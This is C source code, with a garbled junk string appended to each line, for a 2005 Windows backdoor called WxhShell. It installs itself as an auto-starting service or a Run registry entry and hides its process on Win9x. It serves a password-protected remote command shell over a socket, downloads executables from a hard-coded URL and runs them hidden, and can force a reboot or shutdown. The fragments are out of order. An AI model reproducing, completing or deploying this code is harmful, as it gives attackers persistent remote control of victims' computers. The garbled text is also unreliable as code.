    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l&OKBUG  
    if(Boot(SHUTDOWN)) [842&5Pd?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pk{_(ybaY  
    else { =9y[1t  
    closesocket(wsh); E4`N-3  
    ExitThread(0); TyD4|| %  
    } !"HO]3-o  
    break; L[oui,}_  
    } D.B.7-_8  
  // 获取shell s @&`f{  
  case 's': { rdl;M>0@  
    CmdShell(wsh); sT3^hY7  
    closesocket(wsh); dpAjR  
    ExitThread(0); 4IB9 ,?p  
    break; p `8 s  
  } :1cV;gJ  
  // 退出 gn8R[5:!V  
  case 'x': { 8'r2D+Vwm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1n >X[! 8x  
    CloseIt(wsh); |%F=po>w  
    break; ~P*6ozSYpY  
    } 3m]4=  
  // 离开 \8)U!9,$nn  
  case 'q': { lP[w?O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5gH1.7i b  
    closesocket(wsh); ,X[kt z  
    WSACleanup(); ^crCy-`#  
    exit(1); 2#KJ asX  
    break; mq aHwID  
        } dsb`xw  
  } ^=BTz9QM  
  } 63q^ $I  
]e"=$2d$  
  // 提示信息 f/ ?_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9_q#W'/X  
} (Mo*^pVr  
  } K SbKEA  
^1S!F-H4\  
  return; PlU*X8  
} IpINH3odT  
%q/62f7?  
// shell模块句柄 yCd-9zb=  
int CmdShell(SOCKET sock) *rM^;4Zt  
{ ,0~^>K  
STARTUPINFO si; G"-?&)M#a  
ZeroMemory(&si,sizeof(si)); :#LLo}LKp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T%.8 '9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %824Cqdc  
PROCESS_INFORMATION ProcessInfo; 6*PYFf`  
char cmdline[]="cmd"; B8nf,dj?X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -E^vLB)O  
  return 0; JmF l|n/H  
} iQ tN Aj  
o1-m1<ft  
// 自身启动模式 3B1XZm  
int StartFromService(void) #ZJ _T`l  
{ h%o%fH&F!  
typedef struct gy,ht3  
{ G! ]k#.^A,  
  DWORD ExitStatus; K#%&0D!  
  DWORD PebBaseAddress; sd,J3  
  DWORD AffinityMask; $h2){*5E{  
  DWORD BasePriority; `>gd&u  
  ULONG UniqueProcessId; K$&s=Hm  
  ULONG InheritedFromUniqueProcessId; ~xA-V4.  
}   PROCESS_BASIC_INFORMATION; o9|nJ;  
X^T:8npxt  
PROCNTQSIP NtQueryInformationProcess; q$ZHd  
G3+.H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "9m2/D`=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sNj)ZWgd>  
o>).Cj  
  HANDLE             hProcess; @E;=*9ek{u  
  PROCESS_BASIC_INFORMATION pbi; 4iqoR$3Fc  
LIS)(X<]?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9%8"e>~  
  if(NULL == hInst ) return 0; *EOdEFsR/  
?^H `M|S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qIVx9jNN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -l`f)0{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "oTHq]Ku  
WB?jRYp  
  if (!NtQueryInformationProcess) return 0; OP~HdocB  
)T/0S$@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G^~k)6v=m  
  if(!hProcess) return 0; x^HGVWw_  
SFB~ ->db  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hU(umL<  
:V1W/c  
  CloseHandle(hProcess); MC?,UDNd%  
"w^!/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #D<C )Q  
if(hProcess==NULL) return 0; bP8Sj16q  
O;z,qo X  
HMODULE hMod; VYu~26Zr  
char procName[255]; dq7x3v^"ZG  
unsigned long cbNeeded; bHPYp5UwN  
CUO+9X-<8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EqyeJq .  
K-e9>fmB#  
  CloseHandle(hProcess); sc|_Q/`\.  
?p9VO.^5  
if(strstr(procName,"services")) return 1; // 以服务启动 fdxLAC  
1QqYQafA  
  return 0; // 注册表启动 8B7cBkl:  
} +vYoB$!  
u}>#Eb  
// 主模块 |S_T^'<W  
int StartWxhshell(LPSTR lpCmdLine) 2VF%@p  
{ B268e  
  SOCKET wsl; AjmVc])  
BOOL val=TRUE; ^@ I   
  int port=0; pM^9c7@!:  
  struct sockaddr_in door; G'rxXJq  
3 ;)>Fs;  
  if(wscfg.ws_autoins) Install(); :}yi -/_8!  
@AK n@T5  
port=atoi(lpCmdLine); 6BY-^"W5`  
!(mjyr  
if(port<=0) port=wscfg.ws_port; wAX1l*`  
O#x*iI%  
  WSADATA data; 3 j!3E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }XZ'v_Ti  
uXI_M)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X'wE7=29M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |>27'#JC  
  door.sin_family = AF_INET; V_>\ 9m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ji1viv  
  door.sin_port = htons(port); _]04lGx27  
Scp7X7{N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /,1D)0  
closesocket(wsl); \X<bH&x:z  
return 1; e`@ # *}A  
} T:t]"d}}  
INcg S MM  
  if(listen(wsl,2) == INVALID_SOCKET) { X- pqw~$  
closesocket(wsl); 7q?9Tj3  
return 1; F|F]970  
} AcS|c:3MUy  
  Wxhshell(wsl); O>qll 6]{@  
  WSACleanup(); `D>S;[~S7  
~Cl){8o  
return 0; JCz@s~f\y  
F ;{n"3<  
} .EpV;xq}  
Cnnh7`  
// 以NT服务方式启动 E>&n.%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %dJX-sm@  
{ 7x#Ckep:I  
DWORD   status = 0;  gG uZ8:f  
  DWORD   specificError = 0xfffffff; 4Yxo~ m(  
ML:Q5 ^`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^=C{.{n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?bPRxR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "XB[|#&  
  serviceStatus.dwWin32ExitCode     = 0; 0rh]]kj  
  serviceStatus.dwServiceSpecificExitCode = 0; O>SLOWgha  
  serviceStatus.dwCheckPoint       = 0; x6(~;J  
  serviceStatus.dwWaitHint       = 0; t]>Lh>G  
&Q+Ln,(&L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z|=}1; (.  
  if (hServiceStatusHandle==0) return; \x)n>{3C  
:Mb%A  
status = GetLastError(); M>DaQ`b  
  if (status!=NO_ERROR) kz{/(t  
{ "Weg7mc#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cS>e?  
    serviceStatus.dwCheckPoint       = 0; ^9^WuSq  
    serviceStatus.dwWaitHint       = 0; &@%W29:  
    serviceStatus.dwWin32ExitCode     = status; UH]l9Aq$P  
    serviceStatus.dwServiceSpecificExitCode = specificError; TS/.`.gT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P6!jRC"52'  
    return; X'%E\/~u  
  } &L#UGp $,  
.zS?9MP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8*8Zc/{  
  serviceStatus.dwCheckPoint       = 0; pF&(7u  
  serviceStatus.dwWaitHint       = 0; Fkvl%n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9v?N+Rb  
} LAVAFlK5  
;w:M`#2  
// 处理NT服务事件,比如:启动、停止 Em?d*z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JXCCTUO  
{ ~3WM5 fv  
switch(fdwControl) S M!Txe#  
{ S?RN?1  
case SERVICE_CONTROL_STOP: !xP8# |1  
  serviceStatus.dwWin32ExitCode = 0; 5Ycco,x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iOwx0GD.n  
  serviceStatus.dwCheckPoint   = 0; n.wF&f'D]  
  serviceStatus.dwWaitHint     = 0; HOw -]JSP2  
  { m0LTx\w!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nndddk`  
  } j*F`"df  
  return; @.G[s)x  
case SERVICE_CONTROL_PAUSE: ~7Ts_:E-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f>aEkh6u9  
  break; jZh';M8"  
case SERVICE_CONTROL_CONTINUE: P/xKnm~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R16'?,  
  break; XpmS{nb  
case SERVICE_CONTROL_INTERROGATE: bA= |_Wt  
  break; (:._"jp]  
}; SGh1 DB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n3}!p'-CC  
} Of{/t1o?  
KC(xb5x Y  
// 标准应用程序主函数 )E6;-rD0^+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b`)){LR  
{ m_=$0m J$  
O<96/a'  
// 获取操作系统版本 RRmLd/(  
OsIsNt=GetOsVer(); T?:glp[4I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZN! 4;  
_u{c4U0,  
  // 从命令行安装 QA2borfy  
  if(strpbrk(lpCmdLine,"iI")) Install(); j{Hao\F8  
oo.!.Kv  
  // 下载执行文件 _cy2z  
if(wscfg.ws_downexe) { ._8KsuJG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A]YV s  
  WinExec(wscfg.ws_filenam,SW_HIDE); \]P!.}nX#  
} _Dym{!t  
'3TW [!m  
if(!OsIsNt) { `9)t[7  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z-E`>  
HideProc(); *GxTX3i}vc  
StartWxhshell(lpCmdLine); 'a$Gv&fu  
} hGd<<\  
else @) s,{F  
  if(StartFromService()) F;=4vS]\  
  // 以服务方式启动 "`M?R;DH  
  StartServiceCtrlDispatcher(DispatchTable); >tO`r.5u9  
else RY c!~Wh~Y  
  // 普通方式启动 L,mQ   
  StartWxhshell(lpCmdLine); PH?#)l D  
Sp7ld7c  
return 0; +<xQM h8  
} }Z{=|rVE  
Ggl~nxz  
BZud) l24  
Y2d;E.DH8  
=========================================== .q[SI$qO/  
\2ZPj)&-E  
"*LD 3  
bHg,1y)UC  
8>X d2X  
dDm):Z*`b  
" kGdt1N[  
66.5QD0  
#include <stdio.h> 0j30LXI_  
#include <string.h> T/^Hz4uA7  
#include <windows.h> Jrg2/ee,*  
#include <winsock2.h> )dY=0"4Z  
#include <winsvc.h> 3 dht!7/  
#include <urlmon.h> _<a7CCg  
9uRF nzJVx  
#pragma comment (lib, "Ws2_32.lib") BT)X8>ct  
#pragma comment (lib, "urlmon.lib") D[_|*9BC  
-8r  
#define MAX_USER   100 // 最大客户端连接数 ~><^'j[  
#define BUF_SOCK   200 // sock buffer {?J/c{=/P  
#define KEY_BUFF   255 // 输入 buffer :4MB]v[K  
A,%C,*)Cg  
#define REBOOT     0   // 重启 Ps%qfL\  
#define SHUTDOWN   1   // 关机 Ga#:P F0  
/e]'u&a  
#define DEF_PORT   5000 // 监听端口 ,z;ky5Ct  
.k 3 '  
#define REG_LEN     16   // 注册表键长度 Mk=mT3=#  
#define SVC_LEN     80   // NT服务名长度 %g1,N k  
^ <Pq,u%k  
// 从dll定义API YnxRg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cx}Q2S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $/=nU*pd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4m*M,#mV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9G{;?c  
a@\D$#2r  
// wxhshell配置信息 Pu"R,a  
struct WSCFG { K4]g[z  
  int ws_port;         // 监听端口 hoQs @[  
  char ws_passstr[REG_LEN]; // 口令 vG;zJ#c  
  int ws_autoins;       // 安装标记, 1=yes 0=no AC;V m: @{  
  char ws_regname[REG_LEN]; // 注册表键名 u0#}9UKQ  
  char ws_svcname[REG_LEN]; // 服务名 VQ0fS!5'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q EP 4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L0&RvI#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u%]shm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y$Q|J4z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y`$Q \}fS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FBpH21|/y  
l5g$vh\aQ]  
}; 1j:Wh  
d'/TdVM  
// default Wxhshell configuration J|X 6j&-  
struct WSCFG wscfg={DEF_PORT, $ &P >r  
    "xuhuanlingzhe", [5uRS}!  
    1, _R.B[\r@  
    "Wxhshell", 8F:e|\SB#  
    "Wxhshell", HcedE3Rg  
            "WxhShell Service", 6_d.Yfbq  
    "Wrsky Windows CmdShell Service", wKi^C 8Z2  
    "Please Input Your Password: ", jS+AGE?5e  
  1, s/7 A7![  
  "http://www.wrsky.com/wxhshell.exe", d3W0-INL  
  "Wxhshell.exe" K]j0_~3s  
    }; ,RgB$TcE  
g8w2Vz2/  
// 消息定义模块 )ZBY* lk9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YKE46q;J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nK$X[KrV'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B*~5)}1op  
char *msg_ws_ext="\n\rExit."; NvHJ3>"%  
char *msg_ws_end="\n\rQuit."; BWrv%7  
char *msg_ws_boot="\n\rReboot..."; !2z?YZhu  
char *msg_ws_poff="\n\rShutdown..."; : C b&v07  
char *msg_ws_down="\n\rSave to "; \mw(cM#:  
-0_d/'d  
char *msg_ws_err="\n\rErr!"; IBQ@{QB  
char *msg_ws_ok="\n\rOK!"; +&Hr4@pgW  
jMbC Y07v  
char ExeFile[MAX_PATH]; 6gT5O]]#o  
int nUser = 0; Pl<; [cB  
HANDLE handles[MAX_USER]; u{FDdR9<  
int OsIsNt; E[O<S B I  
n @?4b8"  
SERVICE_STATUS       serviceStatus; t9Y=m6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cwm_nQKk  
b:R-mg.VT{  
// 函数声明 k51Eyy50(  
int Install(void); ZkIgL  
int Uninstall(void); f)g7 3=  
int DownloadFile(char *sURL, SOCKET wsh); -AhwI  
int Boot(int flag); t\RF=BbJJ  
void HideProc(void); B%KG3]  
int GetOsVer(void); 6<N5_1  
int Wxhshell(SOCKET wsl); ?W( 6  
void TalkWithClient(void *cs); w|CZ7|6  
int CmdShell(SOCKET sock); s TOa  
int StartFromService(void); Qb! PRCHQ  
int StartWxhshell(LPSTR lpCmdLine); N<Q jdD&  
DhX#E&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A<6%r7&B'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q~@]W=  
eeHP&1= 7  
// 数据结构和表定义 6<'rG''  
SERVICE_TABLE_ENTRY DispatchTable[] = "Tm[t?FMbe  
{ mo1oyQg8  
{wscfg.ws_svcname, NTServiceMain}, nOQa_G]Gz  
{NULL, NULL} zNY)'  
}; _{Sm k [  
M:P0m6ie  
// 自我安装 R(-<BtM!-  
int Install(void) }BiiE%a  
{ $2<d<Um~z  
  char svExeFile[MAX_PATH]; ^/5XZ} *  
  HKEY key; #/NS&_Ge0s  
  strcpy(svExeFile,ExeFile); ,jC3Fcly  
ATy*^sc&"  
// 如果是win9x系统,修改注册表设为自启动 <BSc* 9Q  
if(!OsIsNt) { 8)kLV_+%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xil[#W]7Ge  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @]q BF]6  
  RegCloseKey(key); 8scc%t7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YPzU-:3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .i^7|o:  
  RegCloseKey(key); U|HB=BP  
  return 0; h?-#9<A  
    } (;%|-{7e-  
  } nuoPg3Nl  
} ,+g&o^T  
else { f50L,4,  
-!0_:m3  
// 如果是NT以上系统,安装为系统服务 kNT}dv]<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VyRsPg[(  
if (schSCManager!=0) v4RlLg dS%  
{ x+]!m/  
  SC_HANDLE schService = CreateService XX1Il;1G#  
  ( Iyd?|f"  
  schSCManager, T~fmk f$  
  wscfg.ws_svcname, %+ FG,d  
  wscfg.ws_svcdisp, [>^PRs  
  SERVICE_ALL_ACCESS, ,-+"^>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j F-v% ?  
  SERVICE_AUTO_START, X[2[!)Rk  
  SERVICE_ERROR_NORMAL, cpt<WK}  
  svExeFile, GabYfUkO  
  NULL, En&5)c+js4  
  NULL, &20P,8@  
  NULL, pxSX#S6I  
  NULL, _/S?#   
  NULL K^rIG6  
  ); ,Rx{yf]k  
  if (schService!=0) ?0_7?yTR/  
  { .bVmqR`  
  CloseServiceHandle(schService); IScRsxFb  
  CloseServiceHandle(schSCManager); w#N?l!5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x f4{r+  
  strcat(svExeFile,wscfg.ws_svcname); $ n,Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F`nb21{0y&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QQe;1O  
  RegCloseKey(key);  KluA  
  return 0; uY< H#k  
    } |3+m%;X  
  } 83cW=?UgA  
  CloseServiceHandle(schSCManager); XhdSFxW}  
} xyH/e*a  
} 8F)G7 H ,  
577:u<Yt  
return 1; NZN-^ >  
} 'cNKjL;  
ds[QwcV9-  
// 自我卸载 $T<}y_nHl  
int Uninstall(void) 5efxEt>U  
{ e4I^!5)N  
  HKEY key; O+=vEp(  
-Q;#sJ?  
if(!OsIsNt) { =e><z9hY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AM} brO  
  RegDeleteValue(key,wscfg.ws_regname); *2}O-e  
  RegCloseKey(key); ;eigOU]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eQO#Qso]  
  RegDeleteValue(key,wscfg.ws_regname); s7r9,8$  
  RegCloseKey(key); x'Pi5NRE  
  return 0; JaWv]@9*  
  } hJ5z/5aE;  
} XT,#g-oi  
} 7ou46v|m5  
else { VGw(6`|!  
:)jJge&^p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @c'|Iqy`  
if (schSCManager!=0) .bf<<+'o  
{ 9kKnAf4Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D\^WXY5e%y  
  if (schService!=0) xjdw'v+qZo  
  { 1\dn 1Hh  
  if(DeleteService(schService)!=0) { K?#]("De6  
  CloseServiceHandle(schService); ,pK| SL  
  CloseServiceHandle(schSCManager); I\\QS.2  
  return 0; FVF-:C  
  } >EXb|vw   
  CloseServiceHandle(schService); v&g0ta@  
  } -~)OF  
  CloseServiceHandle(schSCManager); +Ra3bjl  
} rZbEvS  
} %Y4e9T".  
">dq0gD  
return 1; U},=LsDsW4  
} ?p[O%_Xf  
r^HA aGpC  
// 从指定url下载文件 N0n^L|(R  
int DownloadFile(char *sURL, SOCKET wsh) ,`td@Y  
{ g"Q h]:  
  HRESULT hr; 5;)*T6Y  
char seps[]= "/"; %'L;FPxB  
char *token; |!d"*.Q@F  
char *file; =A[5= k>  
char myURL[MAX_PATH]; %K 4  
char myFILE[MAX_PATH]; DE{h5-g  
ZF#Rej?  
strcpy(myURL,sURL); 2aNT#J"_  
  token=strtok(myURL,seps); F5gObIJtuY  
  while(token!=NULL) Jx-wO/  
  { W VkR56  
    file=token; iO!6}yJ*V  
  token=strtok(NULL,seps); tUE'K.-  
  } (L6Cy% KgV  
y[0`hSQ)~  
GetCurrentDirectory(MAX_PATH,myFILE); j<tq1?? [b  
strcat(myFILE, "\\"); qH%")7>  
strcat(myFILE, file); !- ~ X?s~L  
  send(wsh,myFILE,strlen(myFILE),0); \tJFAc  
send(wsh,"...",3,0); ;n#%G^!H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Aj"7q  
  if(hr==S_OK) $%c{06Oq(  
return 0; ,<ya@Fi{  
else h. hjz?  
return 1; E\2Ml@J  
8{&["?  
} Sn3:x5H,l  
^9"KTZc-*  
// 系统电源模块 E\)eu1Hw4B  
int Boot(int flag) Mxz,wfaH>  
{ UWG+#,1J.\  
  HANDLE hToken; Kf7WcJ4b  
  TOKEN_PRIVILEGES tkp; =N.!k Vkl  
^!: "Q3  
  if(OsIsNt) { FT\?:wpKa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h:qHR] 8dZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Edt}",s7  
    tkp.PrivilegeCount = 1; Ruh)^g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pe04#zQK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S;@ay/*~  
if(flag==REBOOT) { EU`T6M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0=U70nKr  
  return 0; S0@T0y#  
} LZ~`29qw(  
else { 4\ $3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SHdL /1~t  
  return 0; b#Kq[}  
} (wt+`_6  
  } =_=*OEgO]  
  else { *:_~Nn9_R;  
if(flag==REBOOT) { W=-|`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y62%26 [  
  return 0; KS>$`ax,  
} 2z2`  
else { |w)5;uQ&\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2wh#$zGy  
  return 0; X:q_c=X  
} o$_93<zc  
} cqL(^R.  
E'dX)J9e$/  
return 1; 6* rcR]  
} `ti8-  
delf ]  
// win9x进程隐藏模块 r4k nN 2:  
void HideProc(void) f{Qp  
{ ]W9B6G_  
4~u9B/v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $iMC/Kym  
  if ( hKernel != NULL ) ku.A|+Tn  
  { ,ECAan/@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .gD km^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Enj_tJs  
    FreeLibrary(hKernel); .|]IwyD &  
  } !*a[jhx  
[e4![G&y`  
return; w7Dt1axB  
} G%hO\EO  
wly>H]i'  
// 获取操作系统版本 8 $ ~3ra  
int GetOsVer(void) :1<~}*B@{  
{ M9"Sgb`g  
  OSVERSIONINFO winfo; 3VP$x@AV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J|j;g!fK  
  GetVersionEx(&winfo); M<oA<#IW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xdF guV8  
  return 1; |`]oc,1h@  
  else ' iQ9hQjD  
  return 0; z}APR@?`n8  
} P/ aDd@j  
mTjm92  
// 客户端句柄模块 %,?vyY  
int Wxhshell(SOCKET wsl) #<#%>Y^  
{ ZgF/;8!~V-  
  SOCKET wsh; 76MsrOv55  
  struct sockaddr_in client; j+>Q#&h9  
  DWORD myID; LZV}U*  
/yK"t< p  
  while(nUser<MAX_USER) @36S}5Oa  
{ YX;nMyD?~  
  int nSize=sizeof(client); FzhT$7Gw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iG-N  
  if(wsh==INVALID_SOCKET) return 1; C_-E4I Z)  
gM, &Spn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QMb^&?;s  
if(handles[nUser]==0) 5b fb!7-[i  
  closesocket(wsh); 5c;En6W  
else Ar`\ N1a  
  nUser++; Ruj.J,  
  } uC[d%v`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WZ"W]Jyy{  
3]S`|#J  
  return 0; l\aUresm  
} dpn3 (  
r<_2qICgP  
// 关闭 socket x u,htx  
void CloseIt(SOCKET wsh) [Yvsa,2  
{ !aeNq82  
closesocket(wsh); FNJ!IkuR  
nUser--; ;IhPvff  
ExitThread(0); 9HKf^+';n  
} 3kw}CaZ6  
sRi%1r7  
// 客户端请求句柄 \^s2W:c  
void TalkWithClient(void *cs) ]wf |PU~nr  
{ |Mlh;  
A\g%  
  SOCKET wsh=(SOCKET)cs; )[ b#g(Y(  
  char pwd[SVC_LEN]; @LC~*_y   
  char cmd[KEY_BUFF]; A;t zRe  
char chr[1]; }} #be  
int i,j; dJE`9$jN  
%yhI;M^  
  while (nUser < MAX_USER) { >;}]pI0T  
|D(&w+(  
if(wscfg.ws_passstr) { *[ #*n n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Y<M~K972  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?%;B`2 nDR  
  //ZeroMemory(pwd,KEY_BUFF); L5C2ng>  
      i=0; w .l|G,%=  
  while(i<SVC_LEN) { o'^phlX  
/&QQ p3  
  // 设置超时 x _|>n<Z  
  fd_set FdRead; qOgtGN}k  
  struct timeval TimeOut; x/_dW  
  FD_ZERO(&FdRead); oVEAlBm^v  
  FD_SET(wsh,&FdRead); < 4$YO-:E  
  TimeOut.tv_sec=8; X#7}c5^Y  
  TimeOut.tv_usec=0; PvuAg(?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *k [kV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Z.;u0Zp8  
c.-cpFk^L&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .t :DvB  
  pwd=chr[0]; bN!u}DnN  
  if(chr[0]==0xd || chr[0]==0xa) { p_gA/. v=  
  pwd=0; PS/W h  
  break; -;<>tq'3`  
  } d}VALjXHX!  
  i++; T NIst  
    } |Z!@'YB  
:@;6  
  // 如果是非法用户,关闭 socket IO6MK&R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #AvEH=:  
} -[<vYxX:h:  
K+-zY[3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N+hedF@ZU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *LEu=3lp%>  
bkkSIl+Q  
while(1) { _y"a2M  
p4y6R4kyT  
  ZeroMemory(cmd,KEY_BUFF); ]p\u$VY9  
-B,cB  
      // 自动支持客户端 telnet标准   ZGzc"r(r:#  
  j=0; Vp\80D&  
  while(j<KEY_BUFF) { oL)lyUVT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =kF? _KN  
  cmd[j]=chr[0]; lh~<s2[R2  
  if(chr[0]==0xa || chr[0]==0xd) { ^+URv  
  cmd[j]=0; b.@H1L  
  break; IQ=CNby:  
  } /!-J53K  
  j++; ,Q+\h>I  
    } _~:j3=1&n  
/[6:LnaE  
  // 下载文件 *b:u * `@  
  if(strstr(cmd,"http://")) { e$H|MdYIA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q _19&;&  
  if(DownloadFile(cmd,wsh)) Yu1QcFuy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cNx \&vpd  
  else i<J^:7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i'Wcf1I-=  
  } iF8@9m  
  else { ZRX^^yN  
f!mE1,eBEe  
